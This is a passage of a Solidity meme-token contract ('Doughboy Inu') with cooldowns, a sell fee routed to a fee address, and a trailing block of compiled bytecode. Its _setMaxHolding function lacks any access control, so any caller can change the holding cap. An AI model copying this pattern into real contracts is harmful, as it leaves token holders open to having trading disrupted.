require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (9 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 12;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 500000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (100 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613083565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b32565b61057e565b6040516101af9190613068565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae3565b6105ac565b6040516102179190613068565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a5565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc0565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c38565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6e565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a55565b6108d0565b60405161032591906132a5565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a55565b610999565b60405161037991906132a5565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9a565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613083565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b32565b610ba3565b6040516104239190613068565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613068565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a55565b610bd8565b60405161048b91906132a5565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6e565b6040516104e491906132a5565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa7565b610da0565b60405161052191906132a5565b60405180910390f35b34801561053657600080fd5b5061053f610e27565b005b60606040518060400160405280600c81526020017f446f756768626f7920496e750000000000000000000000000000000000000000815250905090565b600061059261058b611337565b848461133f565b6001905092915050565b600067016345785d8a0000905090565b60006105b984848461150a565b61067a846105c5611337565b61067585604051806060016040528060288152602001613a1160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611337565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3b9092919063ffffffff16565b61133f565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611337565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613165565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a5565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613285565b60405180910390fd5b8060ff1660158190555050565b6107e0611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c5565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613068565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611337565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611e9f565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0b565b9050919050565b6109f2611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f446f756768626f79000000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611337565b848461150a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611337565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f79565b50565b610cb1611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c5565b60405180910390fd5b6001601360146101000a81548160ff021916908315150217905550606442610d66919061338a565b601481905550565b6000610d9b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2f611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb3906131c5565b60405180910390fd5b601360149054906101000a900460ff1615610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390613245565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a000061133f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe157600080fd5b505afa158015610ff5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110199190612a7e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107b57600080fd5b505afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190612a7e565b6040518363ffffffff1660e01b81526004016110d0929190612fb5565b602060405180830381600087803b1580156110ea57600080fd5b505af11580156110fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111229190612a7e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ab30610999565b6000806111b6610b3d565b426040518863ffffffff1660e01b81526004016111d896959493929190613007565b6060604051808303818588803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122a9190612be9565b5050506601c6bf5263400060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612fde565b602060405180830381600087803b1580156112fb57600080fd5b505af115801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612b97565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690613225565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611416906130e5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fd91906132a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613205565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e1906130a5565b60405180910390fd5b6000811161162d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611624906131e5565b60405180910390fd5b611635610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a35750611673610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7857601360159054906101000a900460ff16156117a957600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a8576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189657611840612273565b8161184a84610999565b611854919061338a565b1115611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613105565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119415750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119975750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6457601360149054906101000a900460ff166119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290613265565b60405180910390fd5b600c600a81905550601360159054906101000a900460ff1615611afa57426014541115611af957601054811115611a2157600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90613125565b60405180910390fd5b602d42611ab2919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6357600942611b1c919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b6f30610999565b9050601360169054906101000a900460ff16158015611bdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750601360149054906101000a900460ff165b15611d7657600c600a81905550601360159054906101000a900460ff1615611c9b5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9190613185565b60405180910390fd5b5b6000811115611d5c57611cf66064611ce8600b54611cda601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b811115611d5257611d4f6064611d41600b54611d33601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b90505b611d5b81611f79565b5b60004790506000811115611d7457611d7347611e9f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e1f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2957600090505b611e3584848484612360565b50505050565b6000838311158290611e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7a9190613083565b60405180910390fd5b5060008385611e92919061346b565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f07573d6000803e3d6000fd5b5050565b6000600754821115611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f49906130c5565b60405180910390fd5b6000611f5c61238d565b9050611f71818461231690919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120055781602001602082028036833780820191505090505b5090503081600081518110612043577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e557600080fd5b505afa1580156120f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211d9190612a7e565b81600181518110612157577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121be30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461133f565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122229594939291906132c0565b600060405180830381600087803b15801561223c57600080fd5b505af1158015612250573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228261059c565b61228c9190613411565b61229691906133e0565b905090565b6000808314156122ae5760009050612310565b600082846122bc9190613411565b90508284826122cb91906133e0565b1461230b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612302906131a5565b60405180910390fd5b809150505b92915050565b600061235883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b8565b905092915050565b8061236e5761236d61241b565b5b61237984848461245e565b8061238757612386612629565b5b50505050565b600080600061239a61263d565b915091506123b1818361231690919063ffffffff16565b9250505090565b600080831182906123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f69190613083565b60405180910390fd5b506000838561240e91906133e0565b9050809150509392505050565b600060095414801561242f57506000600a54145b156124395761245c565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124708761269c565b9550955095509550955095506124ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125af816127ac565b6125b98483612869565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261691906132a5565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600067016345785d8a0000905061267167016345785d8a000060075461231690919063ffffffff16565b82101561268f5760075467016345785d8a0000935093505050612698565b81819350935050505b9091565b60008060008060008060008060006126b98a600954600a546128a3565b92509250925060006126c961238d565b905060008060006126dc8e878787612939565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3b565b905092915050565b600080828461275d919061338a565b9050838110156127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990613145565b60405180910390fd5b8091505092915050565b60006127b661238d565b905060006127cd828461229b90919063ffffffff16565b905061282181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287e8260075461270490919063ffffffff16565b6007819055506128998160085461274e90919063ffffffff16565b6008819055505050565b6000806000806128cf60646128c1888a61229b90919063ffffffff16565b61231690919063ffffffff16565b905060006128f960646128eb888b61229b90919063ffffffff16565b61231690919063ffffffff16565b9050600061292282612914858c61270490919063ffffffff16565b61270490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612952858961229b90919063ffffffff16565b90506000612969868961229b90919063ffffffff16565b90506000612980878961229b90919063ffffffff16565b905060006129a98261299b858761270490919063ffffffff16565b61270490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d1816139b4565b92915050565b6000815190506129e6816139b4565b92915050565b6000813590506129fb816139cb565b92915050565b600081519050612a10816139cb565b92915050565b600081359050612a25816139e2565b92915050565b600081519050612a3a816139e2565b92915050565b600081359050612a4f816139f9565b92915050565b600060208284031215612a6757600080fd5b6000612a75848285016129c2565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016129d7565b91505092915050565b60008060408385031215612aba57600080fd5b6000612ac8858286016129c2565b9250506020612ad9858286016129c2565b9150509250929050565b600080600060608486031215612af857600080fd5b6000612b06868287016129c2565b9350506020612b17868287016129c2565b9250506040612b2886828701612a16565b9150509250925092565b60008060408385031215612b4557600080fd5b6000612b53858286016129c2565b9250506020612b6485828601612a16565b9150509250929050565b600060208284031215612b8057600080fd5b6000612b8e848285016129ec565b91505092915050565b600060208284031215612ba957600080fd5b6000612bb784828501612a01565b91505092915050565b600060208284031215612bd257600080fd5b6000612be084828501612a16565b91505092915050565b600080600060608486031215612bfe57600080fd5b6000612c0c86828701612a2b565b9350506020612c1d86828701612a2b565b9250506040612c2e86828701612a2b565b9150509250925092565b600060208284031215612c4a57600080fd5b6000612c5884828501612a40565b91505092915050565b6000612c6d8383612c79565b60208301905092915050565b612c828161349f565b82525050565b612c918161349f565b82525050565b6000612ca282613345565b612cac8185613368565b9350612cb783613335565b8060005b83811015612ce8578151612ccf8882612c61565b9750612cda8361335b565b925050600181019050612cbb565b5085935050505092915050565b612cfe816134b1565b82525050565b612d0d816134f4565b82525050565b6000612d1e82613350565b612d288185613379565b9350612d38818560208601613506565b612d4181613597565b840191505092915050565b6000612d59602383613379565b9150612d64826135a8565b604082019050919050565b6000612d7c602a83613379565b9150612d87826135f7565b604082019050919050565b6000612d9f602283613379565b9150612daa82613646565b604082019050919050565b6000612dc2601983613379565b9150612dcd82613695565b602082019050919050565b6000612de5602283613379565b9150612df0826136be565b604082019050919050565b6000612e08601b83613379565b9150612e138261370d565b602082019050919050565b6000612e2b601583613379565b9150612e3682613736565b602082019050919050565b6000612e4e602383613379565b9150612e598261375f565b604082019050919050565b6000612e71602183613379565b9150612e7c826137ae565b604082019050919050565b6000612e94602083613379565b9150612e9f826137fd565b602082019050919050565b6000612eb7602983613379565b9150612ec282613826565b604082019050919050565b6000612eda602583613379565b9150612ee582613875565b604082019050919050565b6000612efd602483613379565b9150612f08826138c4565b604082019050919050565b6000612f20601783613379565b9150612f2b82613913565b602082019050919050565b6000612f43601883613379565b9150612f4e8261393c565b602082019050919050565b6000612f66602583613379565b9150612f7182613965565b604082019050919050565b612f85816134dd565b82525050565b612f94816134e7565b82525050565b6000602082019050612faf6000830184612c88565b92915050565b6000604082019050612fca6000830185612c88565b612fd76020830184612c88565b9392505050565b6000604082019050612ff36000830185612c88565b6130006020830184612f7c565b9392505050565b600060c08201905061301c6000830189612c88565b6130296020830188612f7c565b6130366040830187612d04565b6130436060830186612d04565b6130506080830185612c88565b61305d60a0830184612f7c565b979650505050505050565b600060208201905061307d6000830184612cf5565b92915050565b6000602082019050818103600083015261309d8184612d13565b905092915050565b600060208201905081810360008301526130be81612d4c565b9050919050565b600060208201905081810360008301526130de81612d6f565b9050919050565b600060208201905081810360008301526130fe81612d92565b9050919050565b6000602082019050818103600083015261311e81612db5565b9050919050565b6000602082019050818103600083015261313e81612dd8565b9050919050565b6000602082019050818103600083015261315e81612dfb565b9050919050565b6000602082019050818103600083015261317e81612e1e565b9050919050565b6000602082019050818103600083015261319e81612e41565b9050919050565b600060208201905081810360008301526131be81612e64565b9050919050565b600060208201905081810360008301526131de81612e87565b9050919050565b600060208201905081810360008301526131fe81612eaa565b9050919050565b6000602082019050818103600083015261321e81612ecd565b9050919050565b6000602082019050818103600083015261323e81612ef0565b9050919050565b6000602082019050818103600083015261325e81612f13565b9050919050565b6000602082019050818103600083015261327e81612f36565b9050919050565b6000602082019050818103600083015261329e81612f59565b9050919050565b60006020820190506132ba6000830184612f7c565b92915050565b600060a0820190506132d56000830188612f7c565b6132e26020830187612d04565b81810360408301526132f48186612c97565b90506133036060830185612c88565b6133106080830184612f7c565b9695505050505050565b600060208201905061332f6000830184612f8b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613395826134dd565b91506133a0836134dd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d5576133d4613539565b5b828201905092915050565b60006133eb826134dd565b91506133f6836134dd565b92508261340657613405613568565b5b828204905092915050565b600061341c826134dd565b9150613427836134dd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134605761345f613539565b5b828202905092915050565b6000613476826134dd565b9150613481836134dd565b92508282101561349457613493613539565b5b828203905092915050565b60006134aa